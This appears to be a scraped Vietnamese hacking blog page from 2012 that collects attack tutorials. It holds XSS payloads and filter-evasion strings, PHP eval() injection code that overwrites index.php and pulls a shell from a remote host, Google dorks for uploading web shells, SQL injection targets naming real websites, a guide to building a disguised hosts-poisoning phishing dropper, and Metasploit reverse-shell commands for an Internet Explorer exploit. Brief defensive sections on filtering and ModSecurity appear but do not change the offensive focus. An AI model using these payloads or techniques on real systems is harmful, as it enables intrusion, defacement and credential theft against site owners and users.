<script>alert("XSS")</script>

Some web servers require the ending "/".
<script>alert('XSS')</script>/

Single quotes sometimes help..
<script>alert('XSS')</script>


Overflow attempt for an XSS attack:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa<script>alert('xss')</script>


Search engines are also a fun place to start out testing for XSS vulnerabilities within your site. 
In your journey of XSS hax0ring you will find that quite alot of XSS attacks stem from the search 
functions within your site. Always remember, anything that accepts user input has the chance of 
being vulnerable to an XSS attack.

Some examples below of search engine XSS attacks:
search.php?query=<script>alert('XSS')</script>
search.php?query="><script>alert('XSS')</script>
search.php?query='><script>alert('XSS')</script>


Well, now that we have learned a few different ways to exploit XSS,
how about we move onto securing your site against XSS.

Away we go.......




4. (Secure your site against XSS).
======================================
 4a. Filtering techniques.
 4b. Mod-Security.

95% of XSS attacks can be avoidable when the developer uses proper filtering on ANY user supplied data.
Making sure every single element supplied by a user is properly sanitized and filtered can be easy in 
small environments. However this can become a tedious task to accomplish, especially in legacy and very 
large web applications. 

Never fear, we have some help for this as well and it does not involve re-evaulation of all the code.
We have a band-aid for you! ModSecurity, we will cover this more soon.



Well if 95% is avoidable, what about the other 5% ?   Good question.

In a non perfect world in which we live, you must accept that a web or any application can be a huge 
confusing, tangled puzzle. This much confusion along with code can be a very tedious task to edit and 
secure every single line. Not one person can catch every single attack or vulnerability. 

Hacker technology is very fast. There is no way to re-evaluate everything as the technology emerges 
and new concepts arise.  Nothing is a sure thing; well except the author of this paper is handsome, 
and sexy! HAH you are paying attention. nothing else to see here.. Read on..




Guidelines to follow for protecting your site against XSS
========================================================== 

1.) Filter ALL user input: Filter, filter filter.
The reason XSS attacks are mainly possible is BAD user input filtering!

2.) Use existing scripting language functions.
Alot of scripting languages already have built in functions for filtering input, use them!

PHP functions: htmlentities(), strip_tags(), utf8_decode() can assist in writing filtering logic.
Why re-invent the wheel and write your own function to make sure HTML is encoded properly when 
we can use htmlentities()?

3.) Allow only safe content 'content that pertains to your app'
Filter for content you WANT. Its better idea to drop 1 piece of information you want, than to allow
one evil character in.

4.) Use YOUR Brain.
When you are the developer of a web application, you will have a much better understanding of the
applications internals and how the app works. Keep in mind hackers are always out to exploit your app.
Trust nothing, always wear tin foil on your head to stop there evil signals.

<!--fill in the rest with your brain here--->
           
      <!--end fill in your brain--->


Ok all this sounds really great, but as you know that re-evaluating a large code base has many issues 
within it's self. Auditing and editing code can be very daunting and time consuming. 

Have no fear not apache users.
There is a very nice apache module available called Mod-Security. 
quote from modsecurity.org:

" ModSecurity(TM) is an open source intrusion detection and prevention engine for web applications (or a 
  web application firewall). 

  Operating as an Apache Web server module or standalone, the purpose of ModSecurity is to increase 
  web application security, protecting web applications from known and unknown attacks. "

I am not going to go through the whole bit of compiling apache with modules etc etc.
That is another tutorial in its self. So assuming all is ready to rock, below is 
some examples of configuring modsecurity to block XSS attacks/attempts.

Although it will allow commonly used HTML tags, this filter works fairly well.

 SecFilter "<( |\n)*script"



If you wish to completely stop XSS attacks with some risk of breaking functionality,
use the following filter to block all html and javascript related attacks.

 SecFilter "<(.|\n)+>"



Modsecurity also works well in providing quick & dirty SQL injection protection.
    
    SecFilter "delete[[:space:]]+from"
    SecFilter "insert[[:space:]]+into"
    SecFilter "select.+from"

Again another tutorial, but a nice piece of information in relation to..




5. (Evading XSS detection)
=============================
Well now that we have learned about XSS, what it is and how it works, best of 
all and most important is how to defend your site against XSS. Now let's move on...

Now we take a look at some techniques an attacker can use to bypass filtering
measures and different methods of detecting and responding to such attacks.

The best way to stop XSS attacks is with proper input filtering. 
Oh yea, these are humans writing these filters. People often get 
lazy and errors, or let us call them "un-expected features" sometimes 
slip into a piece of code.

 
In this section we will cover ways to by pass some anti xss security measures.


Scenario 1:
Imagine a site with a developer that has created all of her filters for 
standard xss stuff, ", ' <,> so on. 

Now let's think of the way a search engine works. You input some data into a textbox,
hit search and then the results are displayed. Here is the interesting part, what if 
we search for a file that we know does not exist? 
We get a message similar to "This filename was not found."

Hmmm..... clickty click lcik......

So lets try to see how we can trick this.
Note: ModSecurity has been tested to block these.




Bypass basic xss filtering using eval() fromCharCode for the vector.
This is a simple attack to use when any sort of quote is filtered: 

';!--<SCRIPT>alert(String.fromCharCode(73,72,84,66))</SCRIPT>=&{}  
"non php applications usually do not require the ';"

In this example we use no sort of ", ' so no filterage there.
We also use javascript to print the characters or code we wish
to display/run on the server. 
The XSS will then run properly and the search page displays the 
message, " !--=&{} was not found..." weeeee (=



Bypass xss filtering using html entities for quotes and an image tag to hold the XSS fun:
<IMG SRC=javascript:alert(&quot;IHTB&quot;)>



Bypass xss filters using grave accent obfuscation:
<IMG SRC=`javascript:alert("IHTB says, 'm0o'")`>



Bypassing XSS detection by encoding your actual xss attack with UTF-8 encoding
is also another example. If all else fails, you can always try to use long UTF-8 
unicode without semicolons. You will find that this works quite often since alot 
of people do not know how to pad up to 7 numeric characters, or for the 
people who like to decode certain strings. Either way have fun!






--------------------------------------------------------------------------------
                  ___                               
    ___          /__/\          ___        _____    
   /  /\         \  \:\        /  /\      /  /::\   
  /  /:/          \__\:\      /  /:/     /  /:/\:\  
 /__/::\      ___ /  /::\    /  /:/     /  /:/~/::\ 
 \__\/\:\__  /__/\  /:/\:\  /  /::\    /__/:/ /:/\:|
    \  \:\/\ \  \:\/:/__\/ /__/:/\:\   \  \:\/:/~/:/
     \__\::/  \  \::/      \__\/  \:\   \  \::/ /:/ 
     /__/:/    \  \:\           \  \:\   \  \:\/:/  
     \__\/      \  \:\           \__\/    \  \::/   D0t
                 \__\/                     \__\/         org

XSS Hacking Exposed & Explained

By: MIN Software on: 9:48 AM

Download: http://www.mediafire.com/?l5ygxpl0r15h215

Pass Unlock: junookyo
ĐỌC TIẾP »

XSS Attacker - Bypass Filter with Conversions!

By: MIN Software on: 3:24 PM

Bộ video book tổng hợp khá đầy đủ các giáo trình về tin học, lập trình. Trong link có giáo trình PHP, C, SQL... và còn rất rất nhiều nữa anh em mở link ra xem sẽ rõ. Giáo trình được thực hiện bằng video nên dễ hiểu và trực quan hơn đọc ebook.
Share cho anh em nhất là các anh em đang bắt đầu học code.
Link download:
http://www.mediafire.com/?t1ze73nafc37q

Video book khổng lồ về lập trình và tin học

By: MIN Software on: 8:47 PM

Download: http://www.mediafire.com/?ttntb5n2str51t2

Nguồn: Sưu tầm (Juno_okyo's Blog)

[TUT] - Bypass + Indirect Symlink + Download file Permission

By: MIN Software on: 5:55 AM

Part 2 (End)

11. toan9x
Năm lớp 7 bắt đầu biết ra quán net, thấy người ta vào internet, thì cũng đú đởn mà vào.
Vào site cuaqr họ sao mà thấy đẹp quá, thì vào google gõ từ : "cách lập web". Lúc đó, mới tập làm site với easyvn.com
ĐỌC TIẾP »

Đời UG :::: Đam mê – Tiền Và Gái ::: [Part 2] – End

By: MIN Software on: 5:42 AM

Thật lắm trái ngang ( có thể là bịa nhưng chắc chắc có 1 phần chính xác … đọc & cảm nhận)

Part 1:

1. Kẻ đần (CC) -newb!e (Azs)
Bác Thảo có nói chơi UG mà không có dư thì xem như là đủ xài đủ mặc -> nhu cầu được phần nào thỏa mãn, cũng sướng hơn vạn người còn lam lũ khổ sở.
Nếu không dư thì chả ai ngu gì ngồi lì ở máy suốt ngày mà gõ lạch cạch cả.
ĐỌC TIẾP »

Đời UG :::: Đam mê – Tiền Và Gái ::: [Part 1]

By: MIN Software on: 5:41 AM

1. Phát hiện lỗi phần mềm thông qua kỹ thuật Fuzzing thông minh-Phạm Văn Toàn
http://www.mediafire.com/?k2z717z9m2trld8
2. Những lỗ hổng ít được biết đến và cách phòng chống-Dương Ngọc Thái
http://www.mediafire.com/?pimdtbwl4natj02
3. Mua hàng không mất tiền lỗ hổng trong hệ thống thanh toán trực tuyến tại Việt Nam-Nhâm Xuân Nam
http://www.mediafire.com/?725js96xcbdrw2s
4.Tấm công sandbox và sử dụng AV làm tấm lá chắn bảo về malware- Nguyễn Phố Sơn
http://www.mediafire.com/?96hygetazz2dadn
5.Tấn Công Beats-Juliano Rizzo
http://www.mediafire.com/?y527u8va0x67v5m
6. Hai kỹ thuật tối ưu tấn công Blind SQL Injection- Nguyễn Hoàng Thịnh
http://www.mediafire.com/?jri611fdfude74r

[Ebook] Tổng hợp các bài tham luận tại Tetcon 2012

By: MIN Software on: 5:21 AM

TUT Live HTTP Header attack SQL Injection

By: MIN Software on: 5:15 AM

List site dính lỗi LFI để thực hành

By: MIN Software on: 5:06 AM

File: Eval() Vulnerability & Exploitation
Author: GlaDiaT0R
Hits: 859
date: 2010-05-04

##############################################################################
# [+]Title: [Eval() Vulnerability & Exploitation]
##############################################################################
# [+] About :
##############################################################################
# Written by :  GlaDiaT0R  
# Contact: the_gl4di4t0r[AT]hotmail[DOT]com or berrahal.ryadh[AT]gmail[DOT]com
# Team :  Tunisian Power Team  ( DarkGh0st.Net )
##############################################################################
# [+]    Summary:
#           [1]-Introduction
#           [2]-Detection
#           [3]-Vulnerable Source code
#           [4]-Exploiting..
##############################################################################


[1]-Introduction

eval () is a PHP function that allows to interpret a given string as PHP code, because eval () is often used in Web applications,
although interpretation of the chain is widely liked manipulated, eval () serves most of the time to execute php code containing previously defined variable.
the problem is that if eval () executes a variable that you can modify the code contained by php eval () will execute as such.
Reminder: eval () allows execution of a given string as PHP code but not write (or if so desired) its content in this page or others, he is content to perform, and display the result.
We will even two different PHP source code using Eval (), the possibilities of PHP code injection and how how to use eval () can change the syntax of PHP code to execute.

=======================================================


[2]-Detection

PoC 1 :

http://www.vulnsite.com/evalinject.php?ev=<? phpinfo(); ?>

[ eval() execute the contents of the variable "ev" as PHP code ]

----------

PoC 2 :

http://www.vulnsite.com/evalinject.php?ev=phpinfo();

[ eval() execute the contents of the variable "ev" as PHP code (without tags) ]

----------

PoC 3 :

Changing the header or POST variable cited by: phpinfo () [or <? phpinfo ();> php code used . ]
(With the Tamper Data)

[ eval () execute a chain whose variable $ HTTP_USER_AGENT is so just
change your header in PHP code ]

=======================================================


[3]-Vulnerable Source code

PoC 1 :

<?php
$Ev = $_GET['ev'];
$string = ($Ev);
$string = preg_replace_callback("/(<\?=)(.*?)\?>/si",create_function('$string','ob_start();eval("$string[2];");$return = ob_get_contents();ob_end_clean();return $return;'),$string);
$string= preg_replace_callback("/(<\?php|<\?)(.*?)\?>/si",create_function('$string','ob_start();eval("print $string[2];");$return = ob_get_contents();ob_end_clean();return $return;'),$string);
echo $string;
?>

----------

PoC 2 :
<?php
$Ev = $_GET['ev'];
$eva = stripslashes($Ev);
eval($eva);
?>

----------

PoC 3 :

<?php
$string = stripslashes($HTTP_USER_AGENT);
$string = preg_replace_callback("/(<\?=)(.*?)\?>/si",create_function('$string','ob_start();eval("$string[2];");$return = ob_get_contents();ob_end_clean();return $return;'),$string);
$string= preg_replace_callback("/(<\?php|<\?)(.*?)\?>/si",create_function('$string','ob_start();eval("print $string[2];");$return = ob_get_contents();ob_end_clean();return $return;'),$string);
echo $string;
?>

=======================================================

[4]-Exploiting..

----------
Write or Create a page containing : Hacked by ...
<?php $z=fopen("index.php",'w');fwrite($z,("HACKED BY GlaDiaT0R"));fclose($z); ?>

or

$z=fopen("index.php",'w');fwrite($z,("HACKED BY GlaDiaT0R"));fclose($z);
----------
To insert a remote page include using an url
<?php include('http://www.website.com/shell.txt'); ?>

or

include('http://www.website.com/shell.txt');
----------
Insertion of a distant code in the vulnerable website
<?php $z=fopen("shell.php",'w');fwrite($z,file_get_contents("http://www.website.com/shell.txt"));fclose($z); ?>

or

$z=fopen("shell.php",'w');fwrite($z,file_get_contents("http://www.website.com/shell.txt"));fclose($z);
----------

Thank you for your attention. I hope you understood the process to exploit the eval () vulnerability .

Eval() Vulnerability & Exploitation

By: MIN Software on: 5:00 AM

Hôm nay xin giới thiệu 1 bug PHP.
Bug : www.abc.com/downloadfile.php?file=abc/def.zip

Khai thác : www.abc.com/downloadfile.php?file=index.php
Ngoài file index.php bạn có thể download nhiều file nữa , từ đó bạn có thể nghiên cứu mà tấn công.
ĐỌC TIẾP »

How I hacked nhanhoanghia.com.vn?

By: MIN Software on: 4:59 AM

File: Methods of Quick Exploitation of Blind SQL Injection
Author: Dmitry Evteev
Hits: 1440
date: 2010-01-27
ĐỌC TIẾP »

Methods of Quick Exploitation of Blind SQL Injection

By: MIN Software on: 4:57 AM

Author: Kehieuhoc (HCE-Group)

PA VIETNAM là công ty bán HOST nổi tiếng ở Việt Nam chắc các bạn củng biết .Họ đang xây dựng và triển khai mô hình hổ trợ khách hàng theo phong cách khoa học như các công ty nổi tiếng khác đang xử dụng .Tò mò với mô hình này mình đã lướt qua xem thử...
ĐỌC TIẾP »

PAVIETNAM bị hack như thế nào?

By: MIN Software on: 4:45 AM

Thấy nhiều người hỏi cái này, mạn phép làm cái live show luôn ha
Link bug:

Code:

http://www.funds4me.co.uk/stores.asp?catID=43'

+Check user:
ĐỌC TIẾP »

Remote Desktop via user "SA" - SQL Injection

By: MIN Software on: 4:41 AM

Hacked by langtuhaohoa (thx my friend WinDak)

Hề hề! Tại nghe đâu phong phanh là "Ngân Hàng Nhà Nước Việt Nam (www.sbv.gov.vn)" bị dính SQL inject ... thấy chữ ngân hàng cũng tính mò dô xem xem thế nào lượng đi lượn lại vài dòng thấy chã có url nào khai thác được cả ... ! híc! Thấy nãn nãn...!

ĐỌC TIẾP »

Ngân hàng nhà nước Việt Nam bị hack như thế nào?

By: MIN Software on: 4:38 AM

Tóm tắt quá trình hack athena.com.vn
(Local attack)

Bỏ qua mấy giai đoạn lặt vặt bây giờ làm việc với trường hợp đã có sẵn con webshell //http://12a6dh.info/forum/cache/skin_cache/cacheid_2/skin_public.php

Chạy con backdoor trên kết nối vào mysql của 12a6 sau đó tiến hành lấy sources của athena. Trong trường hợp này xác định link của trang quản trị là /admin nên chỉ chú trọng vào việc lấy code của các file liên quan đến cái này thui (khi nào có con backdoor trên host của nó rùi lấy tiếp). Lấy code bằng mấy câu query sau:
ĐỌC TIẾP »

Longnhi hack Athena.com.vn như thế nào?

By: MIN Software on: 4:33 AM

Following is the vulnerability to remotly upload your shell or deface on a vulnerable website.

Google Dorks:

inurl:/filemanager/userfiles/ filetype:pdf
inurl:/filemanager/index.html

Vulnerable URL:

http://www.site.com/filemanager/index.html

Now, google the dork and select any website from the search result.

When you will select any website, the URL will be as

http://www.site.com/filemanager/UserFiles/File/xyz/abc.pdf

Now delete the text after filemanager. Now after deleteing the text URL will be

http://www.site.com/filemanager/

You will get a upload option, upload your shell or deface there.

Your will will be uploaded in Userfiles directory. z

To view your shell visit the below mentioned URLs:

http://www.site.com/UserFiles/Shell.php
http://www.site.com/UserFiles/deface.html

or

http://www.site.com/UserFiles/directory/Shell.php
http://www.site.com/UserFiles/directory/deface.html

"File Manager" Remote Shell and Deface Upload Vulnerability.

By: MIN Software on: 8:18 PM

This is a exploit which can be used to upload .JPG and .TXT on the website
Dork:

inurl:/HTMLEditor/editor/
"inurl:/HTMLEditor/editor//filemanager/"
"inurl:/HTMLEditor/editor//filemanager//connectors/"

Use any one above mentioned dork.

ĐỌC TIẾP »

HTML Editor File Upload Exploit

By: MIN Software on: 8:16 PM

Kho TUT gồm: Tut Paypal, Tut Hacking-Exploit-Local, Tut Shopping và kiến thức cơ bản cho newbie….

Gồm 4 part gần 500MB:

Part 1: http://www.mediafire.com/?giora5gsmr1bn2r

Part 2: http://www.mediafire.com/?pcjfc2bg0bupu71

Part 3: http://www.mediafire.com/?8i6fb3ip67fqqk9

Part 4: http://www.mediafire.com/?1z0q20chzsfe0p4

Tổng hợp TUT UG & Hacking cho Newbie

By: MIN Software on: 9:39 AM

How to deface websites by xss?

By: MIN Software on: 6:20 AM

Tại sao ở đây chúng ta gọi là Advanced, bởi vì khi exploit IE8 và IE9 trên windows 7, người dùng phải cài đặt Java6 plug-in. Bởi vậy, các researcher ở Vupen đã nghiên cứu phương pháp exploit mà không cần người dùng cài đặt Java plug-in. Mọi người cùng tham khảo và thảo luận nhé!
ĐỌC TIẾP »

Advanced Exploitation of IE MSXML Remote Uninitialized Memory (MS12-043 / CVE-2012)

By: MIN Software on: 10:37 PM

A thrilling, exclusive expose of the hacker collectives Anonymous and LulzSec.

WE ARE ANONYMOUS is the first full account of how a loosely assembled group of hackers scattered across the globe formed a new kind of insurgency, seized headlines, and tortured the feds-and the ultimate betrayal that would eventually bring them down. Parmy Olson goes behind the headlines and into the world of Anonymous and LulzSec with unprecedented access, drawing upon hundreds of conversations with the hackers themselves, including exclusive interviews with all six core members of LulzSec.

In late 2010, thousands of hacktivists joined a mass digital assault on the websites of VISA, MasterCard, and PayPal to protest their treatment of WikiLeaks. Other targets were wide ranging-the websites of corporations from Sony Entertainment and Fox to the Vatican and the Church of Scientology were hacked, defaced, and embarrassed-and the message was that no one was safe. Thousands of user accounts from pornography websites were released, exposing government employees and military personnel.

Although some attacks were perpetrated by masses of users who were rallied on the message boards of 4Chan, many others were masterminded by a small, tight-knit group of hackers who formed a splinter group of Anonymous called LulzSec. The legend of Anonymous and LulzSec grew in the wake of each ambitious hack. But how were they penetrating intricate corporate security systems? Were they anarchists or activists? Teams or lone wolves? A cabal of skilled hackers or a disorganized bunch of kids?

WE ARE ANONYMOUS delves deep into the internet's underbelly to tell the incredible full story of the global cyber insurgency movement, and its implications for the future of computer security.

Download

[Ebook]We Are Anonymous: Inside the Hacker World of LulzSec, Anonymous, and the Globa

By: MIN Software on: 10:00 PM

Google Dork: intext:"Powered by Quotationally" index.php?cat
Dạng lỗi:

Code:
www.site.com/index?cat&vo=[SQLi]

Live Demo: (Site này có 406 nha)

Code:
http://www.frueauff.org/index.php?fuseaction=p0007.&mod=19

Quotationally SQL Injection Vulnerability

By: MIN Software on: 9:06 PM

Google dork : Site design by ThomaThoma | Powered by iControl™="
dạng lỗi:

Code:
www.site.com/index.php?fuseaction=p0004.&mod=[sqli]

Live Demo:

Code:
http://www.frueauff.org/index.php?fuseaction=p0007.&mod=19

iControl™ => SQL injection Vulnerability

By: MIN Software on: 9:05 PM

Demo: http://taigame8.com/public/ket-hon/

Download: http://www.mediafire.com/?tdynw01jpb3r9ko

Pass Unlock: ukk80AG7k24li3G

Template design by Juno_okyo - Copyright © Juno_okyo's Blog.

====================================
Do sơ xuất nên thiếu css trong file zip.
Bổ xung: http://www.mediafire.com/?ku43orxzdu4dn3n
Up 3 file này vào folder css của code.

Share code Tạo giấy chứng nhận Đăng kí kết hôn!

By: MIN Software on: 6:16 PM

Metro - Personal Portfolio HTML5/CSS3 vCard

Metro vCard coded using the latest standards and can be used by freelancer ,web designer ,developer.It’s clean design and modern, very easy to customize.

Theme Features

HTML5&CSS3
Uniqe Icons
5 Colors
PHP Contact From
Full Documentation
Easy To Edit
Valid HTML5

Sources and Credits

Fonts

OpenSans

Live Demo
http://project.pawthemes.com/metro-vcard/index.html

Download: Click here!

Share Trang cá nhân phong cách Metro Win 8

By: MIN Software on: 7:54 PM

http://bydream.cc/

https://www.box.com/s/521ykkpd45ci3jkdtwnl

Config tại includes/config.php
Import data trong thư mục MySQL
Chạy link http://domain/index.php?a=admin đăng nhập với tài khoản admin/123456

Share code upfile.me

By: MIN Software on: 7:50 PM

Demo: http://blogtestcuatui.blogspot.com/

Download template: http://www.mediafire.com/?wnh030houibj3wi

Template blogger cực đẹp màu xanh đen

By: MIN Software on: 7:23 PM

Download: http://www.mediafire.com/?mymkkgzit25

Toàn bộ giáo trình Java cua FPT_Aptech

By: MIN Software on: 7:08 PM

This summary is not available. Please click here to view the post.

Bullseye Creative => SQL injection Vulnerability

By: MIN Software on: 10:07 AM

Share code tra list Karaoke

By: MIN Software on: 10:05 AM

--- The Metasploit Framework ---

Note: This is an advance topic.Read Carefully. Feel free to ask any kind of queries . We are always here to help you.

If you are really interested in network security, chances are you must have heard of the Metasploit over the last few years.

Now, have you ever wondered what someone can do to your PC, by just knowing your IP. Here's the answer. He could 0wN you, or in other words , he could have full access to your PC provided you have just a few security loopholes which may arise cause of even a simple reason like not updating your Flash player last week, when it prompted you to do so.

ĐỌC TIẾP »

Metasploit Tutorial - With an example | Exploiting the vulnerabilities

By: MIN Software on: 6:17 AM

Thuật ngữ Phishing có lẽ không quá xa lạ với dân IT. Và đối với giới Hacker thì đây là hình thức tấn công khá lợi hại, đánh vào sự thiếu hiểu biết, cả tin của nạn nhân. Nhưng trong bài viết này, tôi xin đề cập tới một “nghệ thuật” khác của Phishing: Desktop Phishing. Vậy, Desktop Phishing là gì? Nó có khác gì so với các hình thức phishing khác? Cách thức tiến hành và phương án đối phó với loại tấn công này ra sao?

1/ Desktop Phishing là gì ?

Đây là hình thức Phishing rất tinh vi, cơ chế hoạt động hơi khác so với cách Phishing thông thường. Với kiểu Phishing cũ thì ta không thể sử dụng domain thật của website mà victim muốn vào, để dụ victim.

Ví dụ, hacker có thể phải sử dụng uitstudents.com để đánh lừa người dùng muốn vào website uitstudent.com. Rõ ràng, cách này rất dễ bị phát hiện vì nếu victim tinh ý một chút là thấy ngay sự khác nhau giữa 2 domain thật (uitstudent.com) và giả (uitstudents.com) trên . Nhưng với Desktop Phishing thì bạn hoàn toàn có thể sử dụng domain thật của bất cứ website nào để dẫn dụ victim mắc bẫy!

2/ Phisher Arm là gì ?

Phisher Arm là chương trình sẽ thay đổi các thiết lập ánh xạ IP – Hostname, cụ thể ở đây là “đầu độc” file hosts trên máy victim với những dòng ánh xạ IP – Domain name không xác thực.

- Trên Windows, file hosts nằm tại

%SystemDrive%/Windows/System32/drivers/etc/hosts

- Trên Linux, file hosts nằm tại

/etc/hosts

* Các bước cách tạo Phisher Arm

a) Trên máy của mình, hacker tạo ra một file hosts với dòng ánh xạ có định dạng như sau:

IP_của_Server_chứa_Website_giả Domain_của_Website_thật

Ví dụ:

+ Website thật uitstudent.com nằm trên server có địa chỉ IP là 210.211.110.132

+ Website giả uitstudents.com do hacker dựng nên nằm trên server có địa chỉ IP là 1.2.3.4

Vậy, hacker sẽ thêm vào file hosts đó 2 dòng sau:

1.2.3.4 www.uitstudent.com
1.2.3.4 uitstudent.com

b) Dùng phần mềm Winrar nén file hosts vừa tạo ra ở trên và chỉnh lại các Option sau:

Create SFX Archive -> file nén tạo ra có đuôi .exe.
Path (đường dẫn) mà file hosts sẽ được giải nén -> trùng với path mặc định của file hosts trên Windows/Linux.
Overwrite all Files và Hide All -> tự động ẩn đi hộp thoại thông báo, xác nhận khi file hosts gốc trên máy victim bị ghi đè.

c) Dùng một công cụ Binder nào đó để ghép 2 file .exe riêng lẻ (ví dụ, A và B) thành 1 file .exe duy nhất là (ví dụ, C). Khi chạy C thì tự động A và B đều thực thi.

Ở đây ta ghép file .exe chứa file hosts “độc hại” vừa được nén bằng Winrar ở trên với một file khác, ví dụ, phần mềm tiện ích, nhạc, phim, hình ảnh…

d) Sử dụng một phần mềm giúp thay đổi icon của file C giúp đánh lừa victim một cách thuyết phục hơn.

4/ Desktop Phishing làm việc như thế nào ?

Desktop Phishing cần một Phisher Arm vừa tạo ở trên để dẫn dụ victim tới trang web giả mạo (phishing pager) thường là fake login page để đánh cắp tài khoản.

Về mặt lý thuyết, một chuỗi các sự kiện sau đây sẽ xảy ra khi victim chạy Phisher Arm (file C ở trên):

Thực thi Phisher Arm trên máy victim -> File hosts trên máy victim sẽ bị ghi đè -> victim truy cập vào www.uitstudent.com (hoặc uitstudent.com) đều bị chuyển tới trang phishing Pager mà hacker đã dựng sẵn.

5/ So sánh giữa hình thức Phishing cũ và Desktop Phishing

6/ Một vài biện pháp ngăn chặn Desktop Phishing

Không nên chạy các file .exe không rõ nguồn gốc.
Chỉ cho phép đọc (read-only) file hosts, và loại bỏ quyền ghi đối với file này.
Nhiều phần mềm bảo mật có khả năng giám sát file hosts và ngăn chặn, đưa ra cảnh báo khi có một chương trình định thay đổi file này như: Microsoft Security Essentials, ThreatFire Antivirus…
Sử dụng công cụ HijackThis để kiểm tra nhanh khả năng file hosts bị đầu độc.
Khi gặp phải các trang đỏi hỏi cung cấp các thông tin bí mật, nếu biết được website có sử dụng HTTPS thì bạn nên để ý và chắc chắn rằng ở thanh địa chỉ của Web browser có hiển thị thông tin, biểu tượng báo cho bạn biết rằng website đó có sử dụng HTTPS và SSL Certificate của nó là hợp lệ.

–manthang.
ĐỌC TIẾP »

Desktop Phishing – Nghệ Thuật Phishing Mới!

By: MIN Software on: 6:12 AM

Đã có mã khai thác thành công lỗi 0-day Internet Explorer, nguy cơ bị cài đặt malware từ xa (CVE 2012-4969)

Microsoft có thông cáo xác nhận chính thức về lỗi 0-day (CVE 2012-4969) trong Internet Explorer. Hiện đã có 4 mã khai thác thành công lỗi này đang được truyền tay trên internet. Microsoft sẽ cung cấp khẩn cấp một bản vá tạm thời để sửa lỗi nghiêm trọng này.

Chuyên gia bảo mật Eric Romang đã xác định được mã khai thác lỗi Internet Explorer CVE 2012-4969 này được đặt tại một server của nhóm hacker “Nitro” – nhóm vốn được cho rằng là tác giả của mã khai thác nhằm vào lỗi 0-day của Java vào tháng trước. Công ty bảo mật Rapid7 khuyến cáo người dùng nên chuyển qua sử dụng trình duyệt khác thay thế IE.

Lỗi 0-day trong IE lần này là lỗi “use-after-free memory corruption” một dạng lỗi tương tự với dạng lỗi “buffer overflow”, lỗi này khiến cho máy tính cài đặt phiên bản IE bị lỗi dễ dàng bị hacker cài đặt các malware, virus, trojan từ xa. Mã khai thác đầu tiên được tìm thấy trong trojan PoisonIvy, một mã khai thác khác được tìm thấy trong trojan PlugX, cả 2 trojan này đều được ngụy trang dưới dạng một tập tin Flash Movie ( .swf ) bị thỏa hiệp.

Kiểu tấn công này thường bắt đầu bằng việc nạn nhân nhận được một email giả mạo hoặc một lời mời click vào một đường link không an toàn. Các chuyên gia an ninh mạng khuyến cáo rằng các trang web lớn hiện có đặt các quảng cáo trên website của họ có thể trở thành mồi ngon cho hacker, nếu như các máy chủ đặt các quảng cáo ( vốn độc lập với máy chủ chứa website ) bị hack. Qua đó hacker có thể dùng các website lớn để thực hiện việc tấn công diện rộng đối với những người dùng truy cập các website lớn đó

Trong một diễn biến khác, chính phủ Đức đã khuyến cáo các công dân Đức rằng họ nên thay Internet Explorer bằng một trình duyệt khác như Firefox, Chrome, Opera… . Microsoft thì khuyến cáo người dùng nên tắt chức năng ActiveX controls trên IE hoặc sử dụng Enhanced Mitigation Experience Toolkit cho đến khi họ cung cấp bản vá cho lỗi này

Công cụ khai thác lỗi huyền thoại Metasploit cũng đã cập nhật mã khai thác này với một thông báo: “Module khai thác mới này chứa mã khai thác nhắm vào lỗi 0-day mới của Microsoft Internet Explorer. Khi IE render một trang HTML, đối tượng CMshtmlEd đã bị xóa bỏ trong quá trình render, nhưng vùng nhớ của đối tượng này lại bị sử dụng lại một lần nữa bởi hàm CMshtmlEd::Exec(), điều này dẫn tới lỗi use-after-free ( gọi vùng nhớ sau khi vùng nhớ đã được làm trống ). Vui lòng ghi nhận rằng lỗi này đã được khai thác từ ngày 14 tháng 09 năm 2012 và cho đến hiện giờ vẫn chưa có bản vá cho lỗi này” .

Tải về module khai thác này tại đây http://pastebin.com/nyYxKfUJ

Cách sử dụng:

use exploit/windows/browser/ie_execcommand_uaf
set SRVHOST 192.168.178.33
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.33
exploit

sysinfo
getuid

(theo TheHackerNews)

xnohat - HVA News

Tham khảo:
http://thehackernews.com/2012/09/exp...-explorer.html

Khai thác thành công lỗi 0-day mới của Internet Explorer

By: MIN Software on: 8:07 PM

Sunday, September 30, 2012

Saturday, September 29, 2012

Friday, September 28, 2012

Wednesday, September 26, 2012

Tuesday, September 25, 2012

Sunday, September 23, 2012

Saturday, September 22, 2012

Friday, September 21, 2012

Thursday, September 20, 2012

Wednesday, September 19, 2012

BÌNH LUẬN

Follow on FaceBook

Popular Posts

Trending Video

Thống Kê Online

BÀI ĐĂNG

Nhãn

Translate

Follow us

About Me

Year

Our Team Members

About BlogTube

Popular Posts

Labels